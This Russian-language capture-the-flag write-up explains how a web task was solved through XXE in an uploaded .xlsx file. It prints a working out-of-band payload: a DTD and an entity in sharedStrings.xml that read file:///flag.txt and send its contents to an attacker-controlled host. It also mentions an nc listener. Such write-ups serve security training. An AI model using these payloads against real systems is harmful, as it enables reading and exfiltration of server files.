Разбор Business crabster [Web] [CC2020]

Разбор Business crabster [Web] [CC2020]

Rubikoid

Третье задание на банк.

Текст задания

Заходим, логинимся. По тексту задания можно понять, что оно связано с XXE.

Идём в Accounting, и видим там форму, которая предполагает загрузку только .xlsx файлов.

Для начала, нужно попробовать создать обычный xlsx и попробовать его залить:

Заливка чистого xlsx

В ответе сервера просто success, значит, результат чтения файла получить нельзя - становится понятно, зачем нужны requestbin.com и heroku.com.

Дальше стоит найти файлы из xlsx'а, которые обрабатывает сервер. Распакуем архив и посмотрим, что вообще в нём есть:

.xlsx на операционном столе

Для проверки работы XXE, во-первых, напишем скрипт (или допишем оставшийся с прошлого года), формирующий xlsx:

Генератор xlsx'ов

Для начала нужно получить простой отстук на сервер, и не обязательно формировать хороший xml, поэтому будет достаточно комбинации белого IP и nc -nvlp <port> (или requestbin'а) и конструкции вида

<!DOCTYPE excel [
<!ENTITY % ext SYSTEM "http://<addr>/test.dtd">
%ext;
]>

Пихаем такую конструкцию во все файлы, найденные в архиве, запаковываем, отправляет и ждем запроса. По итогу оказывается, что сервер читает единственный файл - xl/sharedStrings.xml, остальные игнорируются.

Остается дело за малым - собрать связку с dtd, способную вытащить файл. Стоит заметить, что в этом могут помочь ресурсы с пейлоадами для xxe - гист на гитхабе, репо про xxe, owasp, portswigger, payloadsAllTheThings (почему-то не выдается гуглом)

В итоге, в dtd состоял из одной строки:

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'http://<addr>/123%sdata;'>">

И в sharedStrings.xml:

<!DOCTYPE excel [
<!ENTITY % sdata SYSTEM "file:///flag.txt">
<!ENTITY % ext SYSTEM "http://<addr>/z.dtd">
%ext;
%param3;
%exfil;
]>

Собираем из этого документ, отправляем, получаем флаг.

Report Page